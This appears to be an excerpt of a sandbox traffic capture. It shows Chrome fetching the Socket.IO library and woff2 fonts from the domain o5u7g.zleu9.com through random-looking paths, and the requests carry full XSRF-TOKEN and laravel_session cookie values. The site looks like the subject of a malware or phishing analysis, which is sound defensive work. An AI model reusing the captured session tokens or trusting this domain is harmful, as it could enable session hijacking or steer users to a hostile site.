2024-04-24 06:22:01 UTC	15683	IN	Data Raw: 2f 2a 21 0a 20 2a 20 53 6f 63 6b 65 74 2e 49 4f 20 76 34 2e 36 2e 30 0a 20 2a 20 28 63 29 20 32 30 31 34 2d 32 30 32 33 20 47 75 69 6c 6c 65 72 6d 6f 20 52 61 75 63 68 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 2e 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 65 29 3a 28 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 Data Ascii: /! Socket.IO v4.6.0 * (c) 2014-2023 Guillermo Rauch * Released under the MIT License. */!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof g
2024-04-24 06:22:01 UTC	16384	IN	Data Raw: 69 67 69 6e 22 2c 22 6d 61 78 50 61 79 6c 6f 61 64 22 2c 22 66 61 6d 69 6c 79 22 2c 22 63 68 65 63 6b 53 65 72 76 65 72 49 64 65 6e 74 69 74 79 22 29 3b 74 68 69 73 2e 6f 70 74 73 2e 65 78 74 72 61 48 65 61 64 65 72 73 26 26 28 6e 2e 68 65 61 64 65 72 73 3d 74 68 69 73 2e 6f 70 74 73 2e 65 78 74 72 61 48 65 61 64 65 72 73 29 3b 74 72 79 7b 74 68 69 73 2e 77 73 3d 73 74 3f 6e 65 77 20 6f 74 28 74 2c 65 2c 6e 29 3a 65 3f 6e 65 77 20 6f 74 28 74 2c 65 29 3a 6e 65 77 20 6f 74 28 74 29 7d 63 61 74 63 68 28 74 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 6d 69 74 52 65 73 65 72 76 65 64 28 22 65 72 72 6f 72 22 2c 74 29 7d 74 68 69 73 2e 77 73 2e 62 69 6e 61 72 79 54 79 70 65 3d 74 68 69 73 2e 73 6f 63 6b 65 74 2e 62 69 6e 61 72 79 54 79 70 65 7c 7c 22 61 72 72 Data Ascii: igin","maxPayload","family","checkServerIdentity");this.opts.extraHeaders&&(n.headers=this.opts.extraHeaders);try{this.ws=st?new ot(t,e,n):e?new ot(t,e):new ot(t)}catch(t){return this.emitReserved("error",t)}this.ws.binaryType=this.socket.binaryType\|\|"arr
2024-04-24 06:22:01 UTC	13739	IN	Data Raw: 72 22 2c 74 68 69 73 2e 6f 6e 65 72 72 6f 72 2e 62 69 6e 64 28 74 68 69 73 29 29 2c 43 74 28 74 2c 22 63 6c 6f 73 65 22 2c 74 68 69 73 2e 6f 6e 63 6c 6f 73 65 2e 62 69 6e 64 28 74 68 69 73 29 29 5d 7d 7d 7d 2c 7b 6b 65 79 3a 22 61 63 74 69 76 65 22 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 21 21 74 68 69 73 2e 73 75 62 73 7d 7d 2c 7b 6b 65 79 3a 22 63 6f 6e 6e 65 63 74 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 63 6f 6e 6e 65 63 74 65 64 7c 7c 28 74 68 69 73 2e 73 75 62 45 76 65 6e 74 73 28 29 2c 74 68 69 73 2e 69 6f 2e 5f 72 65 63 6f 6e 6e 65 63 74 69 6e 67 7c 7c 74 68 69 73 2e 69 6f 2e 6f 70 65 6e 28 29 2c 22 6f 70 65 6e 22 3d 3d 3d 74 68 69 73 2e 69 6f 2e 5f 72 65 61 64 79 53 74 Data Ascii: r",this.onerror.bind(this)),Ct(t,"close",this.onclose.bind(this))]}}},{key:"active",get:function(){return!!this.subs}},{key:"connect",value:function(){return this.connected\|\|(this.subEvents(),this.io._reconnecting\|\|this.io.open(),"open"===this.io._readySt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	49782	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:02 UTC	1431	OUT	GET /89LXXpzqvplZJ9q6Lp9Y3E12hdCCmeJeN5Dyz80 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://o5u7g.zleu9.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEV Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik4vcjg0d2t0WFhrMkI4UGRDVjlNOHc9PSIsInZhbHVlIjoiUy9wVmFJWGJYK1dWWmxybmVCUWRZQzVXV1dOOUxHK2JENHRBckVkOS9QMG5Gb280WVU1MklTRTk0amFYb3VxRFZpZk5kanE3dzhQdFZ3QTArdlpZRDNJUGlDMjhlVXZPRjBGYmc2MkROZjFULzUxOG5jRTFNMDNHVHkrZkpwcW4iLCJtYWMiOiI0MWY1MDBhNzgyMTk0ZGVjMzM1ZDg1NzlmZTRmNmQ1NWNlOWE5Nzg1MWFmYmMxZGEzODczMmVlYzcwNzIyMGQ5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IldWOVJHV05MUVhQY0F5MnZxamR0WGc9PSIsInZhbHVlIjoiUkxkTmNGVVVrU3VwZGlqYWJQS2wvblJsK0hDeXQ1cGRzZStRVm9EVXR1Qzk5VnhVa1ozVDVPRW5IQWZKUEFqU3NpYllkWGpUMnBaRVM0WG5mdi9oTVEvSVJLQzRjVlZZOEV1OWJMUmRDUkE5WHNZRWh1UWFsMjAyRDlSRzJPazEiLCJtYWMiOiI3ODhmNTcyZmIyN2ZhZGNiNDdlN2QwY2Y0MjU3NTZkODhjOGExMDk0NzZiZDk3YmYzMzQ0OWZlN2ZmZDJjMWMwIiwidGFnIjoiIn0%3D
2024-04-24 06:22:02 UTC	632	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:22:02 GMT Content-Type: font/woff2 Content-Length: 43596 Connection: close Content-Disposition: inline; filename="89LXXpzqvplZJ9q6Lp9Y3E12hdCCmeJeN5Dyz80" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q87PAAjLLkHZ9shizYnURnw%2B0R1ekDjbvwHmkH2QRWswaDApmDpKQrOEc38FDIP2h0XhNaKduchRLURi9kPn04ZZuWOCrpPAOnGVEaqXTh%2Bgak9sdqaLAgWkm44WSA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8793ff2158357d6a-LAX
2024-04-24 06:22:02 UTC	737	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 aa 4c 00 13 00 00 00 01 cf 50 00 00 a9 d5 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 83 55 1b 82 e4 7a 1c 8b 04 3f 48 56 41 52 8a 3b 3f 4d 56 41 52 46 06 60 3f 53 54 41 54 1c 00 8e 48 2f 4c 11 08 0a 81 c2 40 81 a5 50 0b 87 3e 00 30 82 8e 00 01 36 02 24 03 8e 78 04 20 05 8d 2e 07 97 7b 5b d6 bb 71 05 b3 c3 e4 8f 52 6c ba 0d 01 b0 74 fa f4 7e 76 f7 0b e8 b1 ed 28 e5 b6 c1 e8 b6 d0 54 c3 74 05 3b f6 14 6e 27 b0 dd 76 3d cc fe ff ff 3f 7f 99 88 6c 5d 02 78 49 92 b5 85 6d 1d 22 a8 ea 3f 68 4e 58 04 2c 02 96 b5 38 1a 3b 47 b4 d6 af cb 6d 2c 7d c1 68 d7 aa 3e 28 3d 5b ac 96 88 6d 2f d4 3e 9b b8 a1 ef 38 26 66 c1 e0 26 9d 06 1b b8 9b ad 91 5d a1 75 95 dd e0 26 9c 56 44 8f e5 5d ec 3c 8d 04 79 52 93 65 Data Ascii: wOF2LPUz?HVAR;?MVARF`?STATH/L@P>06$x .{[qRlt~v(Tt;n'v=?l]xIm"?hNX,8;Gm,}h>(=[m/>8&f&]u&VD]<yRe
2024-04-24 06:22:02 UTC	1369	IN	Data Raw: bf 1e 69 44 96 e1 11 7d 20 8c 8e 20 be ec 62 a6 ec fc 7d 44 49 76 75 d1 71 04 88 0f d8 6b cb 96 34 d2 0c f7 cc 14 40 c0 10 ce d5 ff 50 2a b0 b0 6a dc ed 89 29 f7 ec 94 27 df 4c 97 eb 89 c9 c2 ae b3 dc b1 62 e0 85 52 51 6a 49 2a 49 9b b4 51 6b da 54 ae 6c fa 5f 77 4f 0f d0 92 24 cb 1f e8 08 21 63 cc 2e 25 cb 7b 80 95 5f 4e 90 02 45 40 fc 00 0d 92 41 b0 da 9d f9 3f 9c ee 9a d9 61 57 0b 79 99 67 66 9d 67 1b 26 45 bc 0c f7 20 7e 88 78 f0 62 c5 cc 83 05 b5 62 c1 82 85 7e f8 a7 d6 f4 ef 1e 66 2f 80 a8 0a 1e d0 47 8a 82 b3 9d 4a 1b 36 b2 79 fe b3 df fa 0e 7a 45 40 54 9c 61 aa 30 5e 55 6c f6 df cf 06 00 fc 53 3a c3 bf 92 2c 03 9e 7d 04 1b 42 ec 52 a7 a8 52 74 7e b7 76 d1 85 00 ba 4c 3a 60 34 c1 49 4b 41 1c e6 bd a7 56 a3 ca b1 b7 78 26 40 a1 1f 8f 68 a8 37 83 50 Data Ascii: iD} b}DIvuqk4@Pj)'LbRQjIIQkTl_wO$!c.%{_NE@A?aWygfg&E ~xbb~f/GJ6yzE@Ta0^UlS:,}BRRt~vL:`4IKAVx&@h7P
2024-04-24 06:22:02 UTC	1369	IN	Data Raw: 3e d8 2e 6d d7 b6 39 fb 46 fb 99 7d 9e 5d 57 72 91 73 73 4b bc 1c 72 12 ba 1e 36 36 7c 33 22 22 2a 2a 26 26 21 c1 e1 10 c5 bc bc 32 65 90 3a 76 de b1 83 76 d7 75 c7 d1 ff bd fa ef 37 7f f3 ee 97 3e fc ec d3 2f 3e 0d 7f 59 f7 9d e0 41 40 40 00 c8 82 05 10 40 c9 06 6a 8b 76 3f a2 63 04 fc cf bf 1a e0 05 82 e1 03 a0 ae 09 a0 0b f4 c0 a3 aa 1c 80 71 5b ad cd 01 38 80 ba 26 50 ed 76 16 e9 84 82 9d 77 d3 ef ac 8c 5b 06 e0 52 8b 81 00 1e 2c a6 f3 af 20 bc 4c 15 e0 d4 43 23 d6 51 35 b8 91 3c 4e 8d af 4d f0 9a f0 ff 89 98 49 1e c3 96 a1 ef 1e ef ae 41 39 d4 0e be a1 72 98 1c b4 98 29 ef a4 9e 40 7d 80 28 93 fa a9 ef 70 df d3 54 b5 e2 d5 ba 81 b2 f7 81 f6 10 fa 79 c4 7a c4 26 c4 11 70 a2 46 71 8f 62 7e 37 d0 ca bd 8a d4 e0 c1 fc fb 48 b3 d9 1f 86 2f e5 9b 9b b5 38 Data Ascii: >.m9F}]WrssKr66\|3""**&&!2e:vvu7>/>YA@@@jv?cq[8&Pvw[R, LC#Q5<NMIA9r)@}(pTyz&pFqb~7H/8
2024-04-24 06:22:02 UTC	1369	IN	Data Raw: ab 11 e4 13 01 e9 44 ae 3d cb 5b 69 7e db 22 51 70 ef 63 32 39 e9 64 71 a7 b5 30 b6 01 15 1a 29 e2 db ce 53 01 4b 24 89 db 11 9c 91 10 7d 9c ef d5 0f e1 38 11 2a 9e 08 b1 c6 95 68 36 08 c4 a8 a2 b4 98 b5 21 8e 45 d0 71 24 18 a7 83 42 25 37 a3 0f 52 82 02 89 71 3b a6 33 e3 76 a8 96 c5 96 00 31 78 04 a8 30 14 19 d5 19 35 da 35 a1 cc 49 64 7a 77 af a4 2d 6a 48 d5 f9 10 15 85 2c 13 a3 9e f6 44 fc 18 de 56 cd 85 7c a5 47 ac 97 c9 a3 b9 57 e1 c4 0a 96 52 70 14 1b 9d cf 6b 27 9f a5 fa bd 08 79 02 2c 96 02 20 16 9d 4d 88 68 fb d6 4a 21 21 6d b6 8c 58 80 8a 4a bd a3 a3 79 25 a6 aa 2e 1a 3d c6 77 60 74 91 90 6a 2a 81 e2 98 32 ad 42 a4 cf 75 c9 16 1c 25 3d 79 6f 32 9f 8e cf 45 7e e6 05 e8 4e 24 f2 4f 2c 8e ab 2d 9c 9c 76 49 bb eb d8 5e de eb 78 af d8 0e f9 43 a9 e0 Data Ascii: D=[i~"Qpc29dq0)SK$}8h6!Eq$B%7Rq;3v1x055Idzw-jH,DV\|GWRpk'y, MhJ!!mXJy%.=w`tj2Bu%=yo2E~N$O,-vI^xC
2024-04-24 06:22:02 UTC	1369	IN	Data Raw: 26 60 bf a5 86 5b 4a 69 0c d1 e1 b8 20 fc 23 8b 97 28 3f 36 3d bc 0d d8 3d 52 72 fe 9d 98 df f6 99 86 c4 bc 22 f8 09 5a 28 e5 b7 77 89 61 b7 36 f9 53 75 68 4b 1e a3 d9 26 75 d4 2c cc 9b ab c9 a0 c4 be a0 65 70 6a fc 71 23 f4 aa f8 fc 97 90 31 c6 86 3b 8d 2e bf 22 ac c8 63 a8 a4 64 cd 76 00 e5 20 65 ff cf 30 3f a6 13 d2 e5 62 0b a4 27 2d 7d 39 cc f0 e0 9e 1d af b5 ec 6f 86 84 31 96 bb 8e 91 1f de f5 79 ed 91 b4 46 3e b6 fa d8 67 65 be e3 e4 c7 96 8c a1 bb 91 79 70 21 64 5b 43 4a bb 5f ce 7f 6a 9e e2 6c 74 bd 98 84 44 03 65 56 43 e1 02 9a f1 01 c9 b2 0e 5a 9a 74 1e 19 d7 2d 04 6b 89 4f 3e 7f eb 62 e6 73 66 69 2d cd a3 e6 3f 27 75 aa 1d f4 11 10 73 fc 42 d2 5a c5 86 43 23 db 5e 68 e7 7a 4b d7 dd 63 72 dd 6d 59 de 57 ba ed 90 63 7c a6 8b 45 e2 fa ee ae 6f c3 Data Ascii: &`[Ji #(?6==Rr"Z(wa6SuhK&u,epjq#1;."cdv e0?b'-}9o1yF>geyp!d[CJ_jltDeVCZt-kO>bsfi-?'usBZC#^hzKcrmYWc\|Eo
2024-04-24 06:22:02 UTC	1369	IN	Data Raw: ce 59 5f c3 25 0b 9d f2 4a e9 03 fe a9 a9 bb 81 48 18 fa 58 6c d7 68 8e c9 73 ff 93 f3 ea 71 72 7c d4 67 35 e2 25 58 ad 9b 53 bb 0e 1a 84 1a b8 82 5e 74 f8 f1 ff 58 67 54 9d 62 90 e9 68 f1 c4 58 64 f4 a7 11 7b 4a 5a 49 91 3e 4e c4 a0 f3 c2 16 05 ca 58 f5 2f 67 94 92 df bd d2 cb da 8d 4e 2f c9 b6 83 3e 5b 35 3d f8 fc e3 65 9c 37 d6 d2 a2 c6 49 f6 ae d8 e1 89 37 ae 63 7d 3f 6f 70 d7 3f 3b 22 5b 75 e5 01 5e 3b bd 02 7a e2 ad bd 31 24 3b ab 34 eb 3d 4b b2 d1 8a eb d4 09 e1 09 bc 2e 7f c6 88 31 51 e6 fa 1c 6a c5 06 7d 66 4a f0 e0 eb c6 48 eb a6 3e de c9 7a 7d 78 4b d7 98 bd e2 c3 08 cd f3 88 6d ff fa 2e f6 41 89 df d6 d2 4a ff 7b f6 01 aa 12 65 af e8 2b 9c 2a 6b b9 21 bb 8c e8 e3 a7 1f ef 6f bf d7 f8 0b 47 b0 c3 71 a6 2e 6c 7f 81 ee 98 c2 d1 a6 7a dd 76 dd d1 Data Ascii: Y_%JHXlhsqr\|g5%XS^tXgTbhXd{JZI>NX/gN/>[5=e7I7c}?op?;"[u^;z1$;4=K.1Qj}fJH>z}xKm.AJ{e+*k!oGq.lzv
2024-04-24 06:22:02 UTC	1369	IN	Data Raw: e0 45 cd 17 36 9d d7 1b 32 2a 11 0d 58 a9 2e 71 1b 1f 61 c5 f5 94 ef d3 73 ea 88 7e fb b9 e6 e1 b6 70 c5 34 0a fa 3b 86 fc cc ba 3c 05 7c 34 ea 88 f5 a3 a2 c0 20 35 13 6c 15 e6 41 b8 3e b6 11 22 ac 69 58 6e 3e 6f 9f 28 7b a8 5f 8d bd 76 d8 eb 29 93 79 48 c9 a3 99 6f 6d 06 7f 5d 9e f1 6c 7c 55 3b 55 c9 af 3f cf 18 45 2c 1f 72 44 e3 8e 81 85 63 86 d5 6b ad b7 62 ee 7b 30 a5 df b6 73 24 1a c7 c1 b3 0d fe d9 73 ef 8f c3 b0 9d 51 f5 d7 70 ba 54 f4 24 dd 1a 73 5e 9d 9c 39 5d 1e 8c 82 fe 2c 1f ac a6 0c ba fc c5 27 14 94 19 0f 5f 43 a0 42 02 67 1f be 85 af e9 f8 fc a5 c4 0d b4 f6 ff a2 a2 95 1c ec dd 96 1c e3 1d 16 52 27 61 e2 78 29 ad 1d 7e c2 7e d3 02 91 a1 b6 1e d4 a0 32 62 5d 05 eb 60 2f a3 ce 28 2a e3 76 d1 e6 94 8a 9e 84 ca d4 81 95 59 f2 d3 14 a9 29 ba 67 Data Ascii: E62X.qas~p4;<\|4 5lA>"iXn>o({_v)yHom]l\|U;U?E,rDckb{0s$sQpT$s^9],'_CBgR'ax)~~2b]`/(vY)g
2024-04-24 06:22:02 UTC	1369	IN	Data Raw: f2 52 b9 28 d4 a6 32 9a 40 88 66 46 b8 5f 12 ff ff f1 87 04 f0 10 a2 2a 99 3a 19 38 85 1e 76 b6 ca 97 a4 50 a1 74 c5 4a 64 28 d7 28 4b 8b 76 a5 ba f4 a8 34 64 58 ad 57 5e a9 37 61 5a 83 05 0b b0 56 ec 6a b1 ef 8d 6e 47 be ea 77 69 c1 73 7e 5b 36 e1 26 c8 81 08 6c e7 58 14 76 72 2e 2a 52 87 d1 0a 77 14 a7 68 9f bb 2f d5 97 1e 6b e9 a2 36 6d fd ae 5d 6f 7f 1a b0 82 9f bb 29 b7 d4 fd 91 ac f6 10 55 d6 d9 81 2f c0 08 b1 30 af 61 14 e9 1d cc 52 bc 9b 4d aa f7 6a 94 66 cc 30 31 cf 58 e7 eb 7d 07 9e e7 07 f4 ff dd 72 11 79 f7 17 5f 34 4c 30 6f 52 00 13 2c 5d 6a a1 96 01 ec 65 65 8c c9 a0 60 fb 80 e3 33 a2 57 29 00 94 cf 1c 2c af 0c ea d6 9e 38 04 86 2f cf 6a 38 67 ad fd e2 eb f5 49 f1 24 1f c0 fb 3c e2 91 ad 41 0a dd d8 dc da de ed 78 67 77 6f ff 60 6d 3b 3c b2 Data Ascii: R(2@fF_:8vPtJd((Kv4dXW^7aZVjnGwis~[6&lXvr.Rwh/k6m]o)U/0aRMjf01X}ry_4L0oR,]jee`3W),8/j8gI$<Axgwo`m;<
2024-04-24 06:22:02 UTC	1369	IN	Data Raw: b6 b0 88 47 91 d7 a4 a8 59 49 85 cd e8 3b 74 ea d2 ad 47 af 01 83 2a 50 d0 30 b0 86 e7 e1 2b 22 33 b7 92 8a 9a 86 56 b1 9b 6b ab d7 c0 f1 42 d4 c9 4c 7c 57 eb 35 6a d6 a2 4d 87 17 ba 74 eb d5 6f f0 25 a9 7f fd e7 cc 5b b0 68 c9 b2 15 ab d6 ac db b4 65 db 8e 5d 7b f6 1f 5c 46 ee 05 c1 f8 3a a8 e2 f4 ae 1d 96 85 be 31 95 e5 ba 29 b3 5a 43 66 ac 5d ff 03 0f b1 75 01 fc b2 4f 81 3a f6 64 4f 47 bb 09 e2 3c 29 42 ad e2 3e 22 4d c4 96 88 6b 74 7e fd 64 e0 75 81 12 2b 3a af dd 10 60 9b 79 6f a0 89 16 44 eb 3a 5f 22 ef c0 43 4c be cd 4a 39 0e c7 e5 59 da 0b 4e c2 cb e5 0c c1 50 23 94 b7 f3 4e de 25 4a c6 14 ad b2 60 08 6e 56 39 dc aa d3 6a 2d 0f 41 b9 5a df dc ee da de da be da fe 15 9d 13 bc 46 63 60 98 0d 8b 15 9c 87 cd 92 34 67 eb 36 27 78 65 b2 4c 56 6b 35 cf Data Ascii: GYI;tG*P0+"3VkBL\|W5jMto%[he]{\F:1)ZCf]uO:dOG<)B>"Mkt~du+:`yoD:_"CLJ9YNP#N%J`nV9j-AZFc`4g6'xeLVk5
2024-04-24 06:22:02 UTC	1369	IN	Data Raw: 18 0f 5d 54 95 c8 98 28 93 32 63 a4 7d 4c 7f a8 5d 3c fc e6 0b 52 65 a8 96 ad 58 0e 9c 5d eb b6 6c 47 61 61 c3 76 2e 25 66 40 87 ee 2b 77 72 0b b9 36 71 8f ab 5f 1d 5b f5 cc bb 91 f0 45 30 3e 81 94 2f a3 d2 8e 56 37 3a 3d a8 75 61 30 8d d1 0c 4e 07 58 6c 60 b7 83 db 11 56 9b 78 3d f6 4d 93 ef f2 ae 35 07 29 06 c0 76 69 21 92 12 8b a1 27 35 49 2b 44 12 93 cf 48 71 b0 40 ca 43 53 1d 9e ca b0 90 23 52 1b 9b e6 94 b4 a7 a7 35 4d 21 2e 87 4c c3 aa 9a 97 c9 d2 f4 17 66 95 1f bf 28 5e 61 c2 ca 24 35 89 ab 13 55 a5 5c 9f 62 5d f2 f6 6c 6f 17 b8 23 ef de 82 df 2a 60 7b 41 6f 16 f1 7e 31 ad 15 2b a1 9d 92 db 2f b1 dd 08 f8 24 f1 58 b6 cd cf a7 2f 72 be 06 8f cf 43 45 27 ad 4d b5 a1 b3 3a 34 5b ca 51 91 0f 59 c2 86 19 45 7e 58 f8 7b 3d fb a0 a4 f6 ba ef b4 4e 2f bc Data Ascii: ]T(2c}L]<ReX]lGaav.%f@+wr6q_[E0>/V7:=ua0NXl`Vx=M5)vi!'5I+DHq@CS#R5M!.Lf(^a$5U\b]lo#*`{Ao~1+/$X/rCE'M:4[QYE~X{=N/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	49783	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:02 UTC	1427	OUT	GET /cdymTrOVgnRdYFmBC56gQ4sIcGIV3nkl100 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://o5u7g.zleu9.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEV Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik4vcjg0d2t0WFhrMkI4UGRDVjlNOHc9PSIsInZhbHVlIjoiUy9wVmFJWGJYK1dWWmxybmVCUWRZQzVXV1dOOUxHK2JENHRBckVkOS9QMG5Gb280WVU1MklTRTk0amFYb3VxRFZpZk5kanE3dzhQdFZ3QTArdlpZRDNJUGlDMjhlVXZPRjBGYmc2MkROZjFULzUxOG5jRTFNMDNHVHkrZkpwcW4iLCJtYWMiOiI0MWY1MDBhNzgyMTk0ZGVjMzM1ZDg1NzlmZTRmNmQ1NWNlOWE5Nzg1MWFmYmMxZGEzODczMmVlYzcwNzIyMGQ5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IldWOVJHV05MUVhQY0F5MnZxamR0WGc9PSIsInZhbHVlIjoiUkxkTmNGVVVrU3VwZGlqYWJQS2wvblJsK0hDeXQ1cGRzZStRVm9EVXR1Qzk5VnhVa1ozVDVPRW5IQWZKUEFqU3NpYllkWGpUMnBaRVM0WG5mdi9oTVEvSVJLQzRjVlZZOEV1OWJMUmRDUkE5WHNZRWh1UWFsMjAyRDlSRzJPazEiLCJtYWMiOiI3ODhmNTcyZmIyN2ZhZGNiNDdlN2QwY2Y0MjU3NTZkODhjOGExMDk0NzZiZDk3YmYzMzQ0OWZlN2ZmZDJjMWMwIiwidGFnIjoiIn0%3D
2024-04-24 06:22:02 UTC	632	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:22:02 GMT Content-Type: font/woff2 Content-Length: 93276 Connection: close Content-Disposition: inline; filename="cdymTrOVgnRdYFmBC56gQ4sIcGIV3nkl100" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=i7en8ywVF2GqXq9d83rtD9NmPyU68E%2BVCBrP7LnBuCTLlfIzRJjePZDT2X8e%2FC9G7N9wSauEVxCSSzrK%2B37YFKb9FdRf1K2q7DStR%2Fs3MgB0Z1vN4DMPJgLNb8S4Hg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8793ff219a5f14ee-LAX
2024-04-24 06:22:02 UTC	737	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 01 6c 5c 00 14 00 00 00 04 b2 20 00 01 6b e0 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a a4 76 1b 83 bb 26 1c 93 24 3f 48 56 41 52 a0 6a 3f 4d 56 41 52 81 46 06 60 3f 53 54 41 54 81 36 27 38 00 91 18 2f 81 48 11 08 0a 81 f8 0c 81 d3 78 0b 89 1a 00 30 8b e7 3a 01 36 02 24 03 92 30 04 20 05 97 7a 07 a2 17 5b 12 9a 94 07 25 22 db df 13 ba a5 ab c1 a5 a2 a8 fe 21 df bb 49 da 54 19 b0 7f a9 77 90 21 63 9b 48 1d ce cd 74 1d 5d 6b a5 08 9e a7 0f c8 36 9d f1 82 43 79 c3 a8 7f 55 6c b7 72 65 ff ff ff ff ff ff 9b 92 49 8c e9 25 e8 25 f9 7f 00 15 44 45 b1 a0 ba ce 76 d3 69 ae 51 46 38 dc dd 84 83 d2 69 48 19 21 72 0a ca e2 f4 da d1 50 34 5a 5b b9 db ae 1d f6 5a 73 10 9e 89 b6 6f 06 0e 72 ef e2 38 62 1c 4f e8 Data Ascii: wOF2l\ kv&$?HVARj?MVARF`?STAT6'8/Hx0:6$0 z[%"!ITw!cHt]k6CyUlreI%%DEviQF8iH!rP4Z[Zsor8bO
2024-04-24 06:22:02 UTC	1369	IN	Data Raw: 10 0f f1 f9 f3 34 67 bd 3f f3 47 f2 33 13 26 d3 99 30 4c 26 e9 24 85 40 52 36 bb a5 e2 88 55 8c 15 6f 9d dd 3a ed 9a 53 a7 3d 0a d4 1c b3 db 62 55 0b a1 75 ca 5d 7a ac 57 38 5b 55 18 7c 37 fb 27 fe 25 e6 f2 75 2e 9c 88 31 31 8e 19 67 3c c6 ba 5e c7 a0 eb fa 4a c9 da 50 42 1b 4a 48 42 02 11 f0 6b fa b3 0f 0e 89 0a 91 8a 5d c4 80 28 24 a5 0d 44 ae 16 ab 53 22 75 be b7 ce 37 e2 fc ab 39 9f 38 15 a3 ee d4 9c 1a 55 a3 e6 37 13 d4 a6 ed 52 24 04 df 78 a9 f9 ac 67 d0 58 9b 7a 56 81 2c a8 24 a5 19 ab 89 79 c6 3a 8e 8d 8a 88 86 51 24 4f 4d c7 b1 f6 b7 9f 71 cc e7 20 a3 88 08 28 df 96 4f e5 14 c4 00 22 12 64 3c 07 6c c8 ed 39 a9 fd 7c 5e 42 08 72 b6 35 8f d0 c3 f3 a7 fd cc b9 79 69 bb 44 99 0f b9 5f 84 16 09 3c 50 9b f9 6f 92 11 08 a9 28 52 65 ab 49 eb 90 c9 96 9a Data Ascii: 4g?G3&0L&$@R6Uo:S=bUu]zW8[U\|7'%u.11g<^JPBJHBk]($DS"u798U7R$xgXzV,$y:Q$OMq (O"d<l9\|^Br5yiD_<Po(ReI
